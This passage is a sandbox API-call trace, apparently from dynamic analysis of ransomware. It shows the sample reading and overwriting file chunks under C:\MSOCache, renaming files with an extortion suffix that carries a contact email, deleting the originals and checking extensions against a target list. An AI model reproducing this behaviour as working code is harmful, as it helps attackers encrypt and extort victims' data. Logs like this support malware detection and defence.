SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.846] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.851] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.851] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.857] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.858] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.858] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.879] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.879] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0067.052] SetEndOfFile (hFile=0x1a4) returned 1 [0067.058] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0067.058] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0067.058] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.059] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0067.059] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.062] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0067.062] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0067.064] CloseHandle (hObject=0x1a4) returned 1 [0070.416] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0070.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.417] lstrlenW (lpString=".doc") returned 4 [0070.417] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString=".docx") returned 5 [0070.417] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0070.417] lstrlenW (lpString=".pdf") returned 4 [0070.417] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString=".xls") returned 4 [0070.417] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString=".xlsx") returned 5 [0070.417] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0070.417] lstrlenW (lpString=".ppt") returned 4 [0070.417] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.417] lstrlenW (lpString=".zip") returned 4 [0070.417] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString=".rar") returned 4 [0070.417] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString=".bz2") returned 4 [0070.417] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0070.417] lstrlenW (lpString=".7z") returned 3 [0070.417] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0070.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.417] lstrlenW (lpString=".dbf") returned 4 [0070.417] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0070.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.417] lstrlenW (lpString=".1cd") returned 4 [0070.417] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0070.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.417] lstrlenW (lpString=".jpg") returned 4 [0070.417] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.418] lstrlenW (lpString=".doc") returned 4 [0070.418] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString=".docx") returned 5 [0070.418] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0070.418] lstrlenW (lpString=".pdf") returned 4 [0070.418] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString=".xls") returned 4 [0070.418] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString=".xlsx") returned 5 [0070.418] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0070.418] lstrlenW (lpString=".ppt") returned 4 [0070.418] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.418] lstrlenW (lpString=".zip") returned 4 [0070.418] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString=".rar") returned 4 [0070.418] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString=".bz2") returned 4 [0070.418] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0070.418] lstrlenW (lpString=".7z") returned 3 [0070.418] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0070.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.418] lstrlenW (lpString=".dbf") returned 4 [0070.418] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0070.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.418] lstrlenW (lpString=".1cd") returned 4 [0070.418] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0070.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0070.418] lstrlenW (lpString=".jpg") returned 4 [0070.418] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0070.419] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0070.419] lstrlenW (lpString="Office32MUI.msi") returned 15 [0070.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0070.419] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=873984) returned 1 [0070.419] CloseHandle (hObject=0x1a4) returned 1 [0070.419] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0070.419] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0070.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0070.419] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.419] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.420] GetLastError () returned 0x0 [0070.420] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0070.563] WriteFile (in: hFile=0x200, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0070.581] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.581] WriteFile (in: hFile=0x200, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0070.581] SetEndOfFile (hFile=0x200) returned 1 [0070.581] CloseHandle (hObject=0x200) returned 1 [0070.647] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.647] SetEndOfFile (hFile=0x1a4) returned 1 [0070.746] CloseHandle (hObject=0x1a4) returned 1 [0070.746] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0070.746] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0070.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.747] lstrlenW (lpString=".doc") returned 4 [0070.747] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.747] lstrlenW (lpString=".docx") returned 5 [0070.747] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0070.747] lstrlenW (lpString=".pdf") returned 4 [0070.747] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.747] lstrlenW (lpString=".xls") returned 4 [0070.747] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.747] lstrlenW (lpString=".xlsx") returned 5 [0070.747] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0070.747] lstrlenW (lpString=".ppt") returned 4 [0070.747] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.747] lstrlenW (lpString=".zip") returned 4 [0070.747] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.747] lstrlenW (lpString=".rar") returned 4 [0070.747] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.747] lstrlenW (lpString=".bz2") returned 4 [0070.747] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.747] lstrlenW (lpString=".7z") returned 3 [0070.747] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.747] lstrlenW (lpString=".dbf") returned 4 [0070.747] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.748] lstrlenW (lpString=".1cd") returned 4 [0070.748] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.748] lstrlenW (lpString=".jpg") returned 4 [0070.748] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.748] lstrlenW (lpString=".doc") returned 4 [0070.748] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.748] lstrlenW (lpString=".docx") returned 5 [0070.748] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0070.748] lstrlenW (lpString=".pdf") returned 4 [0070.748] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.748] lstrlenW (lpString=".xls") returned 4 [0070.748] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.748] lstrlenW (lpString=".xlsx") returned 5 [0070.748] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0070.748] lstrlenW (lpString=".ppt") returned 4 [0070.748] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.748] lstrlenW (lpString=".zip") returned 4 [0070.748] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.748] lstrlenW (lpString=".rar") returned 4 [0070.748] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.748] lstrlenW (lpString=".bz2") returned 4 [0070.748] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.749] lstrlenW (lpString=".7z") returned 3 [0070.749] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.749] lstrlenW (lpString=".dbf") returned 4 [0070.749] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.749] lstrlenW (lpString=".1cd") returned 4 [0070.749] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0070.749] lstrlenW (lpString=".jpg") returned 4 [0070.749] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.749] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0070.749] lstrlenW (lpString="InfLR.cab") returned 9 [0070.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0070.750] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=18874884) returned 1 [0070.750] CloseHandle (hObject=0x1a4) returned 1 [0070.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0070.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0070.750] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0070.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0070.761] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0070.761] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.761] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.866] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.866] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.206] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.206] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.206] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.292] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.292] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0071.306] SetEndOfFile (hFile=0x1a4) returned 1 [0071.307] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0071.311] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.311] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.312] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.312] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.317] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.317] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0071.644] CloseHandle (hObject=0x1a4) returned 1 [0074.006] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.006] lstrlenW (lpString=".doc") returned 4 [0074.006] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString=".docx") returned 5 [0074.007] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.007] lstrlenW (lpString=".pdf") returned 4 [0074.007] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString=".xls") returned 4 [0074.007] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString=".xlsx") returned 5 [0074.007] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.007] lstrlenW (lpString=".ppt") returned 4 [0074.007] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.007] lstrlenW (lpString=".zip") returned 4 [0074.007] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString=".rar") returned 4 [0074.007] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString=".bz2") returned 4 [0074.007] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.007] lstrlenW (lpString=".7z") returned 3 [0074.007] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.007] lstrlenW (lpString=".dbf") returned 4 [0074.007] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.007] lstrlenW (lpString=".1cd") returned 4 [0074.007] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.007] lstrlenW (lpString=".jpg") returned 4 [0074.007] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.007] lstrlenW (lpString=".doc") returned 4 [0074.007] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.007] lstrlenW (lpString=".docx") returned 5 [0074.007] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.008] lstrlenW (lpString=".pdf") returned 4 [0074.008] 